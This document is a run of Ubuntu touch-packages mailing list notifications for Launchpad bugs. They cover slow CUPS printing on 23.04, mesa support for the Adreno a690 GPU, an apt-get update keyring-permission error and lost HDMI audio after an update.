https://bugs.launchpad.net/ubuntu/+source/apparmor/+bug/2012563/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 2016014] Re: Printing via CUPS still takes ages to start
As you see in the logs, I am up to date and still have the issue. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to cups in Ubuntu. https://bugs.launchpad.net/bugs/2016014 Title: Printing via CUPS still takes ages to start Status in cups package in Ubuntu: New Bug description: The printer now prints colour again, but it is still extreme slow. When I print a page, it takes about 5 minutes to start. Again this is on all Ubuntu 23.04 but not on 22.10. ProblemType: Bug DistroRelease: Ubuntu 23.04 Package: cups 2.4.2-3ubuntu2 ProcVersionSignature: Ubuntu 6.2.0-20.20-generic 6.2.6 Uname: Linux 6.2.0-20-generic x86_64 NonfreeKernelModules: nvidia_modeset nvidia ApportVersion: 2.26.0-0ubuntu2 Architecture: amd64 CasperMD5CheckResult: pass CurrentDesktop: KDE Date: Wed Apr 12 16:27:33 2023 InstallationDate: Installed on 2022-10-13 (181 days ago) InstallationMedia: Kubuntu 22.04.1 LTS "Jammy Jellyfish" - Release amd64 (20220809.1) Lpstat: device for HP_Color_LaserJet_MFP_M280nw_83DB46: implicitclass://HP_Color_LaserJet_MFP_M280nw_83DB46/ MachineType: ASUS System Product Name Papersize: a4 PpdFiles: HP_Color_LaserJet_MFP_M280nw_83DB46: HP ColorLaserJet MFP M278-M281, driverless, 2.0rc1 ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-6.2.0-20-generic root=UUID=bbfb5c10-aebe-4f03-ba37-aa48af5e7bf8 ro quiet splash vt.handoff=7 SourcePackage: cups UpgradeStatus: Upgraded to lunar on 2023-03-31 (11 days ago) dmi.bios.date: 12/03/2020 dmi.bios.release: 5.17 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: 1401 dmi.board.asset.tag: Default string dmi.board.name: ROG STRIX B550-E GAMING dmi.board.vendor: ASUSTeK COMPUTER INC. dmi.board.version: Rev X.0x dmi.chassis.asset.tag: Default string dmi.chassis.type: 3 dmi.chassis.vendor: Default string dmi.chassis.version: Default string dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvr1401:bd12/03/2020:br5.17:svnASUS:pnSystemProductName:pvrSystemVersion:rvnASUSTeKCOMPUTERINC.:rnROGSTRIXB550-EGAMING:rvrRevX.0x:cvnDefaultstring:ct3:cvrDefaultstring:skuSKU: dmi.product.family: To be filled by O.E.M. dmi.product.name: System Product Name dmi.product.sku: SKU dmi.product.version: System Version dmi.sys.vendor: ASUS To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/cups/+bug/2016014/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 2016014] [NEW] Printing via CUPS still takes ages to start
Public bug reported: The printer now prints colour again, but it is still extreme slow. When I print a page, it takes about 5 minutes to start. Again this is on all Ubuntu 23.04 but not on 22.10. ProblemType: Bug DistroRelease: Ubuntu 23.04 Package: cups 2.4.2-3ubuntu2 ProcVersionSignature: Ubuntu 6.2.0-20.20-generic 6.2.6 Uname: Linux 6.2.0-20-generic x86_64 NonfreeKernelModules: nvidia_modeset nvidia ApportVersion: 2.26.0-0ubuntu2 Architecture: amd64 CasperMD5CheckResult: pass CurrentDesktop: KDE Date: Wed Apr 12 16:27:33 2023 InstallationDate: Installed on 2022-10-13 (181 days ago) InstallationMedia: Kubuntu 22.04.1 LTS "Jammy Jellyfish" - Release amd64 (20220809.1) Lpstat: device for HP_Color_LaserJet_MFP_M280nw_83DB46: implicitclass://HP_Color_LaserJet_MFP_M280nw_83DB46/ MachineType: ASUS System Product Name Papersize: a4 PpdFiles: HP_Color_LaserJet_MFP_M280nw_83DB46: HP ColorLaserJet MFP M278-M281, driverless, 2.0rc1 ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-6.2.0-20-generic root=UUID=bbfb5c10-aebe-4f03-ba37-aa48af5e7bf8 ro quiet splash vt.handoff=7 SourcePackage: cups UpgradeStatus: Upgraded to lunar on 2023-03-31 (11 days ago) dmi.bios.date: 12/03/2020 dmi.bios.release: 5.17 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: 1401 dmi.board.asset.tag: Default string dmi.board.name: ROG STRIX B550-E GAMING dmi.board.vendor: ASUSTeK COMPUTER INC. dmi.board.version: Rev X.0x dmi.chassis.asset.tag: Default string dmi.chassis.type: 3 dmi.chassis.vendor: Default string dmi.chassis.version: Default string dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvr1401:bd12/03/2020:br5.17:svnASUS:pnSystemProductName:pvrSystemVersion:rvnASUSTeKCOMPUTERINC.:rnROGSTRIXB550-EGAMING:rvrRevX.0x:cvnDefaultstring:ct3:cvrDefaultstring:skuSKU: dmi.product.family: To be filled by O.E.M. dmi.product.name: System Product Name dmi.product.sku: SKU dmi.product.version: System Version dmi.sys.vendor: ASUS ** Affects: cups (Ubuntu) Importance: Undecided Status: New ** Tags: amd64 apport-bug lunar ** Attachment added: "This is the CUPS Printer Queue output" https://bugs.launchpad.net/bugs/2016014/+attachment/5663287/+files/Screenshot_20230412_162840.png -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to cups in Ubuntu. https://bugs.launchpad.net/bugs/2016014 Title: Printing via CUPS still takes ages to start Status in cups package in Ubuntu: New Bug description: The printer now prints colour again, but it is still extreme slow. When I print a page, it takes about 5 minutes to start. Again this is on all Ubuntu 23.04 but not on 22.10. ProblemType: Bug DistroRelease: Ubuntu 23.04 Package: cups 2.4.2-3ubuntu2 ProcVersionSignature: Ubuntu 6.2.0-20.20-generic 6.2.6 Uname: Linux 6.2.0-20-generic x86_64 NonfreeKernelModules: nvidia_modeset nvidia ApportVersion: 2.26.0-0ubuntu2 Architecture: amd64 CasperMD5CheckResult: pass CurrentDesktop: KDE Date: Wed Apr 12 16:27:33 2023 InstallationDate: Installed on 2022-10-13 (181 days ago) InstallationMedia: Kubuntu 22.04.1 LTS "Jammy Jellyfish" - Release amd64 (20220809.1) Lpstat: device for HP_Color_LaserJet_MFP_M280nw_83DB46: implicitclass://HP_Color_LaserJet_MFP_M280nw_83DB46/ MachineType: ASUS System Product Name Papersize: a4 PpdFiles: HP_Color_LaserJet_MFP_M280nw_83DB46: HP ColorLaserJet MFP M278-M281, driverless, 2.0rc1 ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-6.2.0-20-generic root=UUID=bbfb5c10-aebe-4f03-ba37-aa48af5e7bf8 ro quiet splash vt.handoff=7 SourcePackage: cups UpgradeStatus: Upgraded to lunar on 2023-03-31 (11 days ago) dmi.bios.date: 12/03/2020 dmi.bios.release: 5.17 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: 1401 dmi.board.asset.tag: Default string dmi.board.name: ROG STRIX B550-E GAMING dmi.board.vendor: ASUSTeK COMPUTER INC. dmi.board.version: Rev X.0x dmi.chassis.asset.tag: Default string dmi.chassis.type: 3 dmi.chassis.vendor: Default string dmi.chassis.version: Default string dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvr1401:bd12/03/2020:br5.17:svnASUS:pnSystemProductName:pvrSystemVersion:rvnASUSTeKCOMPUTERINC.:rnROGSTRIXB550-EGAMING:rvrRevX.0x:cvnDefaultstring:ct3:cvrDefaultstring:skuSKU: dmi.product.family: To be filled by O.E.M. dmi.product.name: System Product Name dmi.product.sku: SKU dmi.product.version: System Version dmi.sys.vendor: ASUS To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/cups/+bug/2016014/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 2015182] Re: Add support for Adreno a690
This bug was fixed in the package mesa - 23.0.2-1ubuntu1 --- mesa (23.0.2-1ubuntu1) lunar; urgency=medium [ Timo Aaltonen ] * Merge from Debian. [ Juerg Haefliger ] * freedreno: a690 support. (LP: #2015182) mesa (23.0.2-1) experimental; urgency=medium * New upstream release. -- Timo Aaltonen Wed, 12 Apr 2023 10:24:25 +0300 ** Changed in: mesa (Ubuntu) Status: In Progress => Fix Released -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to mesa in Ubuntu. https://bugs.launchpad.net/bugs/2015182 Title: Add support for Adreno a690 Status in mesa package in Ubuntu: Fix Released Bug description: The Lenovo X13s ARM laptop contains an Adreno a690 GPU. Please add Mesa support for this GPU. This landed in upstream Mesa here: https://gitlab.freedesktop.org/mesa/mesa/-/merge_requests/21573 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/mesa/+bug/2015182/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 2007402] Re: apt-get update error ubuntu22.04
As #1 says, the file permissions for the keyring are wrong. They should be world-readable, or at the very least readable by _apt ** Changed in: apt (Ubuntu) Status: Confirmed => Invalid -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to apt in Ubuntu. https://bugs.launchpad.net/bugs/2007402 Title: apt-get update error ubuntu22.04 Status in apt package in Ubuntu: Invalid Bug description: I'm using ubuntu:22.04, but unfortunately we met a error when apt-get update. below is the error message: root@7f7f478253a4:/# apt-get update Get:1 http://archive.ubuntu.com/ubuntu jammy InRelease [270 kB] Get:2 http://security.ubuntu.com/ubuntu jammy-security InRelease [110 kB] Err:2 http://security.ubuntu.com/ubuntu jammy-security InRelease The following signatures couldn't be verified because the public key is not available: NO_PUBKEY 871920D1991BC93C Err:1 http://archive.ubuntu.com/ubuntu jammy InRelease The following signatures couldn't be verified because the public key is not available: NO_PUBKEY 871920D1991BC93C Get:3 http://archive.ubuntu.com/ubuntu jammy-updates InRelease [119 kB] Err:3 http://archive.ubuntu.com/ubuntu jammy-updates InRelease The following signatures couldn't be verified because the public key is not available: NO_PUBKEY 871920D1991BC93C Get:4 http://archive.ubuntu.com/ubuntu jammy-backports InRelease [107 kB] Err:4 http://archive.ubuntu.com/ubuntu jammy-backports InRelease The following signatures couldn't be verified because the public key is not available: NO_PUBKEY 871920D1991BC93C Reading package lists... Done W: http://security.ubuntu.com/ubuntu/dists/jammy-security/InRelease: The key(s) in the keyring /etc/apt/trusted.gpg.d/ubuntu-keyring-2012-cdimage.gpg are ignored as the file is not readable by user '_apt' executing apt-key. W: http://security.ubuntu.com/ubuntu/dists/jammy-security/InRelease: The key(s) in the keyring /etc/apt/trusted.gpg.d/ubuntu-keyring-2018-archive.gpg are ignored as the file is not readable by user '_apt' executing apt-key. W: GPG error: http://security.ubuntu.com/ubuntu jammy-security InRelease: The following signatures couldn't be verified because the public key is not available: NO_PUBKEY 871920D1991BC93C E: The repository 'http://security.ubuntu.com/ubuntu jammy-security InRelease' is not signed. N: Updating from such a repository can't be done securely, and is therefore disabled by default. N: See apt-secure(8) manpage for repository creation and user configuration details. W: http://archive.ubuntu.com/ubuntu/dists/jammy/InRelease: The key(s) in the keyring /etc/apt/trusted.gpg.d/ubuntu-keyring-2012-cdimage.gpg are ignored as the file is not readable by user '_apt' executing apt-key. W: http://archive.ubuntu.com/ubuntu/dists/jammy/InRelease: The key(s) in the keyring /etc/apt/trusted.gpg.d/ubuntu-keyring-2018-archive.gpg are ignored as the file is not readable by user '_apt' executing apt-key. W: GPG error: http://archive.ubuntu.com/ubuntu jammy InRelease: The following signatures couldn't be verified because the public key is not available: NO_PUBKEY 871920D1991BC93C E: The repository 'http://archive.ubuntu.com/ubuntu jammy InRelease' is not signed. N: Updating from such a repository can't be done securely, and is therefore disabled by default. N: See apt-secure(8) manpage for repository creation and user configuration details. W: http://archive.ubuntu.com/ubuntu/dists/jammy-updates/InRelease: The key(s) in the keyring /etc/apt/trusted.gpg.d/ubuntu-keyring-2012-cdimage.gpg are ignored as the file is not readable by user '_apt' executing apt-key. W: http://archive.ubuntu.com/ubuntu/dists/jammy-updates/InRelease: The key(s) in the keyring /etc/apt/trusted.gpg.d/ubuntu-keyring-2018-archive.gpg are ignored as the file is not readable by user '_apt' executing apt-key. W: GPG error: http://archive.ubuntu.com/ubuntu jammy-updates InRelease: The following signatures couldn't be verified because the public key is not available: NO_PUBKEY 871920D1991BC93C E: The repository 'http://archive.ubuntu.com/ubuntu jammy-updates InRelease' is not signed. N: Updating from such a repository can't be done securely, and is therefore disabled by default. N: See apt-secure(8) manpage for repository creation and user configuration details. W: http://archive.ubuntu.com/ubuntu/dists/jammy-backports/InRelease: The key(s) in the keyring /etc/apt/trusted.gpg.d/ubuntu-keyring-2012-cdimage.gpg are ignored as the file is not readable by user '_apt' executing apt-key. W: http://archive.ubuntu.com/ubuntu/dists/jammy-backports/InRelease: The key(s) in the keyring /etc/apt/trusted.gpg.d/ubuntu-keyring-2018-archive.gpg are ignored as the file is not readable by user '_apt' executing apt-key. W: GPG error: http://archive.ubuntu.com/ubuntu jammy-backports InRelease: The
Re: [Touch-packages] [Bug 2007913] Re: HDMI Output sound has disappeared after Ubuntu update
You're welcome! On Wed, Apr 12, 2023 at 7:47 AM Rishab raju <2007...@bugs.launchpad.net> wrote: > Robert Pearson, > Man it worked after i did as you said.Thanks for the assist. Truely > thankful. > > -- > You received this bug notification because you are subscribed to the bug > report. > https://bugs.launchpad.net/bugs/2007913 > > Title: > HDMI Output sound has disappeared after Ubuntu update > > Status in alsa-driver package in Ubuntu: > Confirmed > > Bug description: > After months using the HDMI output without problems, it has stopped > working after a system update two days ago. > HDMI output is not listed in the list of available output devices. > Same computer works with this sound output perfectly when booting with > Windows or an older installation of Ubuntu (18.04). > > ProblemType: Bug > DistroRelease: Ubuntu 22.04 > Package: alsa-base 1.0.25+dfsg-0ubuntu7 > ProcVersionSignature: Ubuntu 5.19.0-32.33~22.04.1-generic 5.19.17 > Uname: Linux 5.19.0-32-generic x86_64 > ApportVersion: 2.20.11-0ubuntu82.3 > Architecture: amd64 > CasperMD5CheckResult: pass > CurrentDesktop: ubuntu:GNOME > Date: Tue Feb 21 08:12:58 2023 > EcryptfsInUse: Yes > InstallationDate: Installed on 2022-04-30 (296 days ago) > InstallationMedia: Ubuntu 22.04 LTS "Jammy Jellyfish" - Release amd64 > (20220419) > PackageArchitecture: all > ProcEnviron: >PATH=(custom, no user) >XDG_RUNTIME_DIR= >LANG=ca_ES.UTF-8 >SHELL=/bin/bash > SourcePackage: alsa-driver > Symptom: audio > Title: USB sound card not detected > UpgradeStatus: No upgrade log present (probably fresh install) > dmi.bios.date: 10/20/2021 > dmi.bios.release: 5.13 > dmi.bios.vendor: American Megatrends Inc. > dmi.bios.version: M01EWR120 > dmi.board.asset.tag: OEM Default string000 > dmi.board.name: OEM Default string000 > dmi.board.vendor: OEM Default string000 > dmi.board.version: OEM Default string000 > dmi.chassis.asset.tag: OEM Default string000 > dmi.chassis.type: 10 > dmi.chassis.vendor: OEM Default string000 > dmi.chassis.version: OEM Default string000 > dmi.ec.firmware.release: 1.2 > dmi.modalias: > dmi:bvnAmericanMegatrendsInc.:bvrM01EWR120:bd10/20/2021:br5.13:efr1.2:svnCHUWIInnovationAndTechnology(ShenZhen)co.,Ltd:pnCoreBox:pvrOEMDefaultstring000:rvnOEMDefaultstring000:rnOEMDefaultstring000:rvrOEMDefaultstring000:cvnOEMDefaultstring000:ct10:cvrOEMDefaultstring000:skuOEMDefaultstring000: > dmi.product.family: OEM Default string000 > dmi.product.name: CoreBox > dmi.product.sku: OEM Default string000 > dmi.product.version: OEM Default string000 > dmi.sys.vendor: CHUWI Innovation And Technology(ShenZhen)co.,Ltd > mtime.conffile..etc.modprobe.d.alsa-base.conf: 2022-05-15T20:34:56.735127 > > To manage notifications about this bug go to: > > https://bugs.launchpad.net/ubuntu/+source/alsa-driver/+bug/2007913/+subscriptions > > -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to alsa-driver in Ubuntu. https://bugs.launchpad.net/bugs/2007913 Title: HDMI Output sound has disappeared after Ubuntu update Status in alsa-driver package in Ubuntu: Confirmed Bug description: After months using the HDMI output without problems, it has stopped working after a system update two days ago. HDMI output is not listed in the list of available output devices. Same computer works with this sound output perfectly when booting with Windows or an older installation of Ubuntu (18.04). ProblemType: Bug DistroRelease: Ubuntu 22.04 Package: alsa-base 1.0.25+dfsg-0ubuntu7 ProcVersionSignature: Ubuntu 5.19.0-32.33~22.04.1-generic 5.19.17 Uname: Linux 5.19.0-32-generic x86_64 ApportVersion: 2.20.11-0ubuntu82.3 Architecture: amd64 CasperMD5CheckResult: pass CurrentDesktop: ubuntu:GNOME Date: Tue Feb 21 08:12:58 2023 EcryptfsInUse: Yes InstallationDate: Installed on 2022-04-30 (296 days ago) InstallationMedia: Ubuntu 22.04 LTS "Jammy Jellyfish" - Release amd64 (20220419) PackageArchitecture: all ProcEnviron: PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=ca_ES.UTF-8 SHELL=/bin/bash SourcePackage: alsa-driver Symptom: audio Title: USB sound card not detected UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 10/20/2021 dmi.bios.release: 5.13 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: M01EWR120 dmi.board.asset.tag: OEM Default string000 dmi.board.name: OEM Default string000 dmi.board.vendor: OEM Default string000 dmi.board.version: OEM Default string000 dmi.chassis.asset.tag: OEM Default string000 dmi.chassis.type: 10 dmi.chassis.vendor: OEM Default string000 dmi.chassis.version: OEM Default string000 dmi.ec.firmware.release: 1.2 dmi.modalias:
[Touch-packages] [Bug 2007402] Re: apt-get update error ubuntu22.04
** Package changed: ubuntu => apt (Ubuntu) -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to apt in Ubuntu. https://bugs.launchpad.net/bugs/2007402 Title: apt-get update error ubuntu22.04 Status in apt package in Ubuntu: Invalid Bug description: I'm using ubuntu:22.04, but unfortunately we met a error when apt-get update. below is the error message: root@7f7f478253a4:/# apt-get update Get:1 http://archive.ubuntu.com/ubuntu jammy InRelease [270 kB] Get:2 http://security.ubuntu.com/ubuntu jammy-security InRelease [110 kB] Err:2 http://security.ubuntu.com/ubuntu jammy-security InRelease The following signatures couldn't be verified because the public key is not available: NO_PUBKEY 871920D1991BC93C Err:1 http://archive.ubuntu.com/ubuntu jammy InRelease The following signatures couldn't be verified because the public key is not available: NO_PUBKEY 871920D1991BC93C Get:3 http://archive.ubuntu.com/ubuntu jammy-updates InRelease [119 kB] Err:3 http://archive.ubuntu.com/ubuntu jammy-updates InRelease The following signatures couldn't be verified because the public key is not available: NO_PUBKEY 871920D1991BC93C Get:4 http://archive.ubuntu.com/ubuntu jammy-backports InRelease [107 kB] Err:4 http://archive.ubuntu.com/ubuntu jammy-backports InRelease The following signatures couldn't be verified because the public key is not available: NO_PUBKEY 871920D1991BC93C Reading package lists... Done W: http://security.ubuntu.com/ubuntu/dists/jammy-security/InRelease: The key(s) in the keyring /etc/apt/trusted.gpg.d/ubuntu-keyring-2012-cdimage.gpg are ignored as the file is not readable by user '_apt' executing apt-key. W: http://security.ubuntu.com/ubuntu/dists/jammy-security/InRelease: The key(s) in the keyring /etc/apt/trusted.gpg.d/ubuntu-keyring-2018-archive.gpg are ignored as the file is not readable by user '_apt' executing apt-key. W: GPG error: http://security.ubuntu.com/ubuntu jammy-security InRelease: The following signatures couldn't be verified because the public key is not available: NO_PUBKEY 871920D1991BC93C E: The repository 'http://security.ubuntu.com/ubuntu jammy-security InRelease' is not signed. N: Updating from such a repository can't be done securely, and is therefore disabled by default. N: See apt-secure(8) manpage for repository creation and user configuration details. W: http://archive.ubuntu.com/ubuntu/dists/jammy/InRelease: The key(s) in the keyring /etc/apt/trusted.gpg.d/ubuntu-keyring-2012-cdimage.gpg are ignored as the file is not readable by user '_apt' executing apt-key. W: http://archive.ubuntu.com/ubuntu/dists/jammy/InRelease: The key(s) in the keyring /etc/apt/trusted.gpg.d/ubuntu-keyring-2018-archive.gpg are ignored as the file is not readable by user '_apt' executing apt-key. W: GPG error: http://archive.ubuntu.com/ubuntu jammy InRelease: The following signatures couldn't be verified because the public key is not available: NO_PUBKEY 871920D1991BC93C E: The repository 'http://archive.ubuntu.com/ubuntu jammy InRelease' is not signed. N: Updating from such a repository can't be done securely, and is therefore disabled by default. N: See apt-secure(8) manpage for repository creation and user configuration details. W: http://archive.ubuntu.com/ubuntu/dists/jammy-updates/InRelease: The key(s) in the keyring /etc/apt/trusted.gpg.d/ubuntu-keyring-2012-cdimage.gpg are ignored as the file is not readable by user '_apt' executing apt-key. W: http://archive.ubuntu.com/ubuntu/dists/jammy-updates/InRelease: The key(s) in the keyring /etc/apt/trusted.gpg.d/ubuntu-keyring-2018-archive.gpg are ignored as the file is not readable by user '_apt' executing apt-key. W: GPG error: http://archive.ubuntu.com/ubuntu jammy-updates InRelease: The following signatures couldn't be verified because the public key is not available: NO_PUBKEY 871920D1991BC93C E: The repository 'http://archive.ubuntu.com/ubuntu jammy-updates InRelease' is not signed. N: Updating from such a repository can't be done securely, and is therefore disabled by default. N: See apt-secure(8) manpage for repository creation and user configuration details. W: http://archive.ubuntu.com/ubuntu/dists/jammy-backports/InRelease: The key(s) in the keyring /etc/apt/trusted.gpg.d/ubuntu-keyring-2012-cdimage.gpg are ignored as the file is not readable by user '_apt' executing apt-key. W: http://archive.ubuntu.com/ubuntu/dists/jammy-backports/InRelease: The key(s) in the keyring /etc/apt/trusted.gpg.d/ubuntu-keyring-2018-archive.gpg are ignored as the file is not readable by user '_apt' executing apt-key. W: GPG error: http://archive.ubuntu.com/ubuntu jammy-backports InRelease: The following signatures couldn't be verified because the public key is not available: NO_PUBKEY 871920D1991BC93C E: The repository
[Touch-packages] [Bug 2007402] [NEW] apt-get update error ubuntu22.04
You have been subscribed to a public bug: I'm using ubuntu:22.04, but unfortunately we met a error when apt-get update. below is the error message: root@7f7f478253a4:/# apt-get update Get:1 http://archive.ubuntu.com/ubuntu jammy InRelease [270 kB] Get:2 http://security.ubuntu.com/ubuntu jammy-security InRelease [110 kB] Err:2 http://security.ubuntu.com/ubuntu jammy-security InRelease The following signatures couldn't be verified because the public key is not available: NO_PUBKEY 871920D1991BC93C Err:1 http://archive.ubuntu.com/ubuntu jammy InRelease The following signatures couldn't be verified because the public key is not available: NO_PUBKEY 871920D1991BC93C Get:3 http://archive.ubuntu.com/ubuntu jammy-updates InRelease [119 kB] Err:3 http://archive.ubuntu.com/ubuntu jammy-updates InRelease The following signatures couldn't be verified because the public key is not available: NO_PUBKEY 871920D1991BC93C Get:4 http://archive.ubuntu.com/ubuntu jammy-backports InRelease [107 kB] Err:4 http://archive.ubuntu.com/ubuntu jammy-backports InRelease The following signatures couldn't be verified because the public key is not available: NO_PUBKEY 871920D1991BC93C Reading package lists... Done W: http://security.ubuntu.com/ubuntu/dists/jammy-security/InRelease: The key(s) in the keyring /etc/apt/trusted.gpg.d/ubuntu-keyring-2012-cdimage.gpg are ignored as the file is not readable by user '_apt' executing apt-key. W: http://security.ubuntu.com/ubuntu/dists/jammy-security/InRelease: The key(s) in the keyring /etc/apt/trusted.gpg.d/ubuntu-keyring-2018-archive.gpg are ignored as the file is not readable by user '_apt' executing apt-key. W: GPG error: http://security.ubuntu.com/ubuntu jammy-security InRelease: The following signatures couldn't be verified because the public key is not available: NO_PUBKEY 871920D1991BC93C E: The repository 'http://security.ubuntu.com/ubuntu jammy-security InRelease' is not signed. N: Updating from such a repository can't be done securely, and is therefore disabled by default. N: See apt-secure(8) manpage for repository creation and user configuration details. W: http://archive.ubuntu.com/ubuntu/dists/jammy/InRelease: The key(s) in the keyring /etc/apt/trusted.gpg.d/ubuntu-keyring-2012-cdimage.gpg are ignored as the file is not readable by user '_apt' executing apt-key. W: http://archive.ubuntu.com/ubuntu/dists/jammy/InRelease: The key(s) in the keyring /etc/apt/trusted.gpg.d/ubuntu-keyring-2018-archive.gpg are ignored as the file is not readable by user '_apt' executing apt-key. W: GPG error: http://archive.ubuntu.com/ubuntu jammy InRelease: The following signatures couldn't be verified because the public key is not available: NO_PUBKEY 871920D1991BC93C E: The repository 'http://archive.ubuntu.com/ubuntu jammy InRelease' is not signed. N: Updating from such a repository can't be done securely, and is therefore disabled by default. N: See apt-secure(8) manpage for repository creation and user configuration details. W: http://archive.ubuntu.com/ubuntu/dists/jammy-updates/InRelease: The key(s) in the keyring /etc/apt/trusted.gpg.d/ubuntu-keyring-2012-cdimage.gpg are ignored as the file is not readable by user '_apt' executing apt-key. W: http://archive.ubuntu.com/ubuntu/dists/jammy-updates/InRelease: The key(s) in the keyring /etc/apt/trusted.gpg.d/ubuntu-keyring-2018-archive.gpg are ignored as the file is not readable by user '_apt' executing apt-key. W: GPG error: http://archive.ubuntu.com/ubuntu jammy-updates InRelease: The following signatures couldn't be verified because the public key is not available: NO_PUBKEY 871920D1991BC93C E: The repository 'http://archive.ubuntu.com/ubuntu jammy-updates InRelease' is not signed. N: Updating from such a repository can't be done securely, and is therefore disabled by default. N: See apt-secure(8) manpage for repository creation and user configuration details. W: http://archive.ubuntu.com/ubuntu/dists/jammy-backports/InRelease: The key(s) in the keyring /etc/apt/trusted.gpg.d/ubuntu-keyring-2012-cdimage.gpg are ignored as the file is not readable by user '_apt' executing apt-key. W: http://archive.ubuntu.com/ubuntu/dists/jammy-backports/InRelease: The key(s) in the keyring /etc/apt/trusted.gpg.d/ubuntu-keyring-2018-archive.gpg are ignored as the file is not readable by user '_apt' executing apt-key. W: GPG error: http://archive.ubuntu.com/ubuntu jammy-backports InRelease: The following signatures couldn't be verified because the public key is not available: NO_PUBKEY 871920D1991BC93C E: The repository 'http://archive.ubuntu.com/ubuntu jammy-backports InRelease' is not signed. N: Updating from such a repository can't be done securely, and is therefore disabled by default. N: See apt-secure(8) manpage for repository creation and user configuration details. ** Affects: apt (Ubuntu) Importance: Undecided Status: Confirmed ** Tags: jammy -- apt-get update error
[Touch-packages] [Bug 2007913] Re: HDMI Output sound has disappeared after Ubuntu update
Robert Pearson, Man it worked after i did as you said.Thanks for the assist. Truely thankful. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to alsa-driver in Ubuntu. https://bugs.launchpad.net/bugs/2007913 Title: HDMI Output sound has disappeared after Ubuntu update Status in alsa-driver package in Ubuntu: Confirmed Bug description: After months using the HDMI output without problems, it has stopped working after a system update two days ago. HDMI output is not listed in the list of available output devices. Same computer works with this sound output perfectly when booting with Windows or an older installation of Ubuntu (18.04). ProblemType: Bug DistroRelease: Ubuntu 22.04 Package: alsa-base 1.0.25+dfsg-0ubuntu7 ProcVersionSignature: Ubuntu 5.19.0-32.33~22.04.1-generic 5.19.17 Uname: Linux 5.19.0-32-generic x86_64 ApportVersion: 2.20.11-0ubuntu82.3 Architecture: amd64 CasperMD5CheckResult: pass CurrentDesktop: ubuntu:GNOME Date: Tue Feb 21 08:12:58 2023 EcryptfsInUse: Yes InstallationDate: Installed on 2022-04-30 (296 days ago) InstallationMedia: Ubuntu 22.04 LTS "Jammy Jellyfish" - Release amd64 (20220419) PackageArchitecture: all ProcEnviron: PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=ca_ES.UTF-8 SHELL=/bin/bash SourcePackage: alsa-driver Symptom: audio Title: USB sound card not detected UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 10/20/2021 dmi.bios.release: 5.13 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: M01EWR120 dmi.board.asset.tag: OEM Default string000 dmi.board.name: OEM Default string000 dmi.board.vendor: OEM Default string000 dmi.board.version: OEM Default string000 dmi.chassis.asset.tag: OEM Default string000 dmi.chassis.type: 10 dmi.chassis.vendor: OEM Default string000 dmi.chassis.version: OEM Default string000 dmi.ec.firmware.release: 1.2 dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvrM01EWR120:bd10/20/2021:br5.13:efr1.2:svnCHUWIInnovationAndTechnology(ShenZhen)co.,Ltd:pnCoreBox:pvrOEMDefaultstring000:rvnOEMDefaultstring000:rnOEMDefaultstring000:rvrOEMDefaultstring000:cvnOEMDefaultstring000:ct10:cvrOEMDefaultstring000:skuOEMDefaultstring000: dmi.product.family: OEM Default string000 dmi.product.name: CoreBox dmi.product.sku: OEM Default string000 dmi.product.version: OEM Default string000 dmi.sys.vendor: CHUWI Innovation And Technology(ShenZhen)co.,Ltd mtime.conffile..etc.modprobe.d.alsa-base.conf: 2022-05-15T20:34:56.735127 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/alsa-driver/+bug/2007913/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1966905] Re: gnome-shell crashed with SIGSEGV in g_type_check_instance_cast() from free_fetch_user_request() [accountsservice]
